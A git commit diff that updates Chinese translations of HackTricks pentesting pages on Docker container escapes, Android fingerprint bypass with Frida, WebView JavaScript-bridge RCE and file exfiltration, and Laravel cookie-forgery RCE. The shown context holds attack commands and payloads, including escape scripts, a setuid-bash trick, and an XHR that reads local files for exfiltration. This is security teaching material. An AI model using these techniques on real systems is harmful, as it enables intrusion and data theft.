Translated ['linux-hardening/privilege-escalation/docker-security/docker

This commit is contained in:
Translator 2023-12-19 21:55:08 +00:00
parent cbc981b278
commit db117b5c41
4 changed files with 52 additions and 56 deletions

View file

@ -7,7 +7,7 @@
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -22,9 +22,9 @@
## 自动枚举和逃逸
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它可以**枚举容器**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery):这个工具非常**有用,可以枚举所在的容器,甚至尝试自动逃逸**
* [**amicontained**](https://github.com/genuinetools/amicontained):有用的工具,可以获取容器的权,以找到逃逸的方法
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它可以**枚举容器**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery):这个工具非常**有用,可以枚举所在的容器,甚至尝试自动逃逸**
* [**amicontained**](https://github.com/genuinetools/amicontained):有用的工具,可以获取容器的权,以找到逃逸的方法
* [**deepce**](https://github.com/stealthcopter/deepce):用于枚举和逃逸容器的工具
* [**grype**](https://github.com/anchore/grype)获取镜像中安装的软件中包含的CVE
@ -84,7 +84,7 @@ capsh --print
## 从特权容器中逃脱
可以通过使用`--privileged`标志或禁用特定的防御措施来创建特权容器:
可以使用`--privileged`标志或禁用特定的防御措施来创建特权容器:
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -306,7 +306,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
在特权容器中执行PoC应该会产生类似以下输出:
在特权容器中执行PoC应该会产生类似输出:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -368,15 +368,16 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### 使用个shell进行特权提升
### 使用2个shell进行特权提升
如果您在容器内部具有**root访问权限**,并且已经以非特权用户的身份**逃逸到主机**则可以滥用这两个shell来在主机内部进行**特权提升**前提是您在容器内部具有MKNOD功能默认情况下是有的如[**此文章中所解释的**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
有了这样的功能容器内的root用户可以**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件可以访问系统磁盘上的原始数据。
如果您在容器内部具有**root访问权限**,并且已经以非特权用户的身份**逃逸到主机**则可以滥用这两个shell来在主机内部进行**特权提升**前提是您在容器内部具有MKNOD功能默认情况下是有的如[**此帖子中所解释的**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。
Docker通过在容器上设置cgroup策略来阻止从容器内部滥用块设备的读写**以确保块设备无法从容器内部滥用**。\
然而,如果在容器内部**创建了一个块设备**,则可以通过位于/proc/PID/root/文件夹中的某个**外部容器之外的进程**来访问它,限制是该进程必须由**外部容器和内部容器拥有相同的用户**。
通过这种功能容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件允许**读取系统磁盘上的原始数据**。
以下是来自[**此篇文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用示例**
Docker通过在容器上设置cgroup策略来确保**无法从容器内部滥用块设备**进行读写。\
然而,如果在容器内部**创建了一个块设备**,则可以通过位于/proc/PID/root/文件夹中的某人(**容器外部的同一用户**)访问,限制是**进程必须由容器外部和内部的同一用户拥有**。
**利用**示例来自于此[**解析**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)
```bash
# On the container as root
cd /
@ -449,25 +450,25 @@ cat /proc/635813/fd/4
```
docker run --rm -it --network=host ubuntu bash
```
如果一个容器配置了Docker的主机网络驱动`--network=host`那么该容器的网络堆栈与Docker主机不隔离容器共享主机的网络命名空间并且容器不会被分配独立的IP地址。换句话说**容器将所有服务直接绑定到主机的IP上**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用`tcpdump -i eth0`命令。
如果一个容器配置了Docker的主机网络驱动`--network=host`那么该容器的网络堆栈与Docker主机不隔离容器共享主机的网络命名空间并且容器不会被分配独立的IP地址。换句话说**容器直接绑定到主机的IP上的所有服务**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用`tcpdump -i eth0`命令。
例如,您可以使用此功能来**嗅探甚至伪造**主机和元数据实例之间的流量。
就像以下示例中所示:
* [Writeup: 如何联系Google SRE在云SQL中获取shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务中间人攻击导致根权限提升EKS / GKE](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [元数据服务中间人攻击导致提权EKS / GKE](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
您还可以访问主机内部绑定到本地主机的**网络服务**,甚至可以访问节点的**元数据权限**可能与容器可以访问的权限不同)。
您还可以访问主机内部绑定到本地主机的**网络服务**,甚至可以访问节点的**元数据权限**(可能与容器访问的权限不同)。
### hostIPC
```
docker run --rm -it --ipc=host ubuntu bash
```
如果只有`hostIPC=true`,你可能无法做太多事情。如果主机上的任何进程或其他容器内的进程正在使用主机的**进程间通信机制**(共享内存、信号量数组、消息队列等),你将能够读取/写入这些相同的机制。你首先要查看的地方是`/dev/shm`,因为它在任何具有`hostIPC=true`的容器和主机之间共享。你还需要使用`ipcs`来检查其他IPC机制。
如果只有`hostIPC=true`,你可能无法做太多事情。如果主机上的任何进程或其他 pod 中的进程正在使用主机的**进程间通信机制**(共享内存、信号量数组、消息队列等),你将能够读取/写入这些相同的机制。你首先要查看的地方是`/dev/shm`,因为它在任何具有`hostIPC=true`的 pod 和主机之间共享。你还需要使用`ipcs`来检查其他 IPC 机制。
* **检查/dev/shm** - 查看此共享内存位置中的任何文件:`ls -la /dev/shm`
* **检查现有的IPC设施** - 你可以使用`/usr/bin/ipcs`来检查是否正在使用任何IPC设施。使用以下命令进行检查`ipcs -a`
* **检查 /dev/shm** - 查看此共享内存位置中的任何文件:`ls -la /dev/shm`
* **检查现有的 IPC 设施** - 你可以使用`/usr/bin/ipcs`来检查是否正在使用任何 IPC 设施。使用以下命令进行检查:`ipcs -a`
### 恢复权限
@ -479,7 +480,7 @@ cat /proc/self/status | grep CapEff
```
### 通过符号链接滥用用户命名空间
在[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)的文章中解释了第二种技术,它说明了如何滥用用户命名空间中的绑定挂载,以影响主机内的文件(在该特定情况下,删除文件)。
在[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)的文章中解释了第二种技术,它说明了如何滥用用户命名空间中的绑定挂载,以影响主机内的文件(在该特定情况下,删除文件)。
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -492,7 +493,7 @@ cat /proc/self/status | grep CapEff
### Runc漏洞利用CVE-2019-5736
如果您可以以root身份执行`docker exec`可能需要sudo则可以尝试用CVE-2019-5736[此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)有漏洞利用)来提升特权。这种技术基本上会从容器中**覆盖**主机上的_**/bin/sh**_二进制文件因此任何执行docker exec的人都可能触发有效载荷。
如果您可以以root身份执行`docker exec`可能需要sudo则可以尝试通过滥用CVE-2019-5736[此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)有漏洞利用)来提升特权。这种技术基本上会从容器中**覆盖**主机上的_**/bin/sh**_二进制文件因此任何执行docker exec的人都可能触发有效载荷。
根据需要更改有效载荷,并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
执行时,一旦显示`[+] Overwritten /bin/sh successfully`,您需要从主机机器上执行以下操作:
@ -511,7 +512,7 @@ cat /proc/self/status | grep CapEff
### Docker逃逸面
* **命名空间:**进程应通过命名空间**完全与其他进程隔离**因此无法通过命名空间与其他进程交互默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
* **命名空间:**进程应通过命名空间**完全与其他进程隔离**,因此我们无法通过命名空间逃逸与其他进程交互默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
* **Root用户**默认情况下运行进程的用户是root用户但其权限受限
* **能力:**Docker保留以下能力`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **系统调用:**这些是**root用户无法调用**的系统调用(因为缺乏能力+Seccomp。其他系统调用可用于尝试逃逸。

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
@ -16,7 +16,7 @@
## **方法1 - 当未使用加密对象时**
认证实现依赖于回调函数_**onAuthenticationSucceded**_的调用。F-Secure的研究人员开发了一个[Frida脚本](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),可以用于**绕过**在_**onAuthenticationSucceeded(…)**_中的NULL _**CryptoObject**_。当调用上述方法时该脚本将自动绕过指纹。下面是一个简短的示例展示了对Android指纹的绕过。完整的应用程序可以从我的[GitHub](https://github.com/St3v3nsS/InsecureBanking)上下载。
认证实现依赖于回调函数_**onAuthenticationSucceded**_的调用。WithSecure的研究人员开发了一个[Frida脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),可以用于**绕过**在_**onAuthenticationSucceeded(…)**_中的NULL _**CryptoObject**_。当调用上述方法时该脚本将自动绕过指纹。下面是一个简短的示例展示了对Android指纹的绕过。完整的应用程序可以从我的[GitHub](https://github.com/St3v3nsS/InsecureBanking)上下载。
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -31,11 +31,11 @@ frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-by
```
### **方法2 - 异常处理**
这个由F-Secure开发的[Frida脚本](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)可以用来绕过对加密对象的不安全使用。脚本只需要手动调用带有一个未经授权(未通过指纹解锁)的存储在密钥库中的**CryptoObject**的_**onAuthenticationSucceded**_方法。问题在于如果应用程序尝试使用另一个密码对象那么将会抛出一个**异常**。这个脚本将尝试调用_**onAuthenticationSucceded**_方法并在_Cipher_类中捕获_**javax.crypto.IllegalBlockSizeException**_异常。从现在开始**应用程序使用的任何对象都将使用这个新密钥进行加密**。
这个由WithSecure开发的[Frida脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)可以用来绕过对加密对象的不安全使用。脚本只需要手动调用带有一个未经授权(未通过指纹解锁)的存储在密钥库中的**CryptoObject**的_**onAuthenticationSucceded**_方法。问题在于如果应用程序尝试使用另一个密码对象那么将会抛出一个**异常**。这个脚本将尝试调用_**onAuthenticationSucceded**_方法并在_Cipher_类中捕获_**javax.crypto.IllegalBlockSizeException**_异常。从现在开始**应用程序使用的任何对象都将使用这个新密钥进行加密**。
```
frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
现在,转到指纹屏幕并等待 _authenticate_() 被调用。一旦在屏幕上看到这个,就在 Frida 控制台中输入 _**bypass()**_
现在,转到指纹屏幕并等待调用_authenticate_()。一旦在屏幕上看到这个继续在Frida控制台中键入_bypass()_
```
Spawning `com.st3v3nss.insecurebankingfingerprint`...
[Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> Hooking BiometricPrompt.authenticate()...
@ -45,12 +45,12 @@ Hooking FingerprintManager.authenticate()...
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
</details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -84,13 +84,13 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url
```
{% endcode %}
### Javascript Bridge
### Javascript桥接
Android提供了一种方允许在WebView中执行的JavaScript调用和使用Android应用程序的本地函数使用`@JavascriptInterface`进行注释),方法是使用[`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29)。这被称为_WebView JavaScript桥_或_本地桥_。
Android提供了一种方使得在WebView中执行的JavaScript可以调用和使用Android应用程序的本地函数使用`@JavascriptInterface`进行注释),方法是使用[`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29)方法。这被称为_WebView JavaScript桥_或_本地桥_。
请注意,**当您使用`addJavascriptInterface`时您明确地授予所有在WebView中加载的页面对注册的JavaScript接口对象的访问权限**。这意味着如果用户在您的应用程序或域之外导航所有其他外部页面也将可以访问这些JavaScript接口对象如果通过这些接口暴露了任何敏感数据可能会存在潜在的安全风险。
> 警告对于针对Android 4.2API级别17以下版本的应用程序要非常小心因为它们对`addJavascriptInterface`的实现存在漏洞,这可能导致远程代码执行,攻击者滥用反射。这是因为默认情况下可以访问所有Java对象方法而不仅仅是那些已注释的方法
> 警告对于针对Android 4.2API级别17以下版本的应用程序要非常小心因为它们对`addJavascriptInterface`的实现存在[漏洞](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/)一种滥用反射的攻击当恶意JavaScript注入到WebView中时会导致远程代码执行。这是因为默认情况下可以访问所有Java对象方法而不仅仅是那些已注释的方法
#### 静态分析
```javascript
@ -129,7 +129,7 @@ webView.reload();
### 通过反射实现的Javascript桥接到RCE
如[**此研究**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)所述_如果获得RCE请查看其中的想法_一旦找到一个Javascript桥接就可以使用以下有效负载通过反射获得**RCE**
如[**此研究**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/)所述_在获得RCE的情况下可以参考其中的想法_一旦找到一个Javascript桥接就可以使用以下负载通过反射获得**RCE**
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
@ -178,23 +178,18 @@ To exfiltrate arbitrary files from an Android app's WebView, you can use the fol
```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///path/to/file', true);
xhr.responseType = 'blob';
xhr.onload = function(e) {
if (this.status == 200) {
var blob = new Blob([this.response], {type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'file';
a.click();
}
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var fileContent = xhr.responseText;
// Exfiltrate the file content to an external server or perform any other action
}
};
xhr.send();
```
Replace `'file:///path/to/file'` with the actual file path you want to exfiltrate. This payload creates an XMLHttpRequest to fetch the file, converts the response into a Blob object, creates a download link for the file, and triggers a click event on the link to initiate the download.
Replace `'file:///path/to/file'` with the actual file path you want to exfiltrate. This payload sends a GET request to the specified file path and retrieves its content. You can then exfiltrate the file content to an external server or perform any other action as needed.
Note that this payload requires the app to have the necessary permissions to access the file you want to exfiltrate.
Keep in mind that this payload requires the app to have the necessary permissions to access the file you want to exfiltrate. Additionally, you should ensure that the server receiving the exfiltrated data is secure and properly handle the incoming files.
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {

View file

@ -7,7 +7,7 @@
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
@ -94,7 +94,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
受影响版本5.5.40和5.6.x至5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
在这里可以找到有关反序列化漏洞的信息:[https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
在这里可以找到有关反序列化漏洞的信息:[https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
您可以使用以下链接进行测试和利用:[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
或者您也可以使用Metasploit进行利用`use unix/http/laravel_token_unserialize_exec`
@ -109,12 +109,12 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
</details>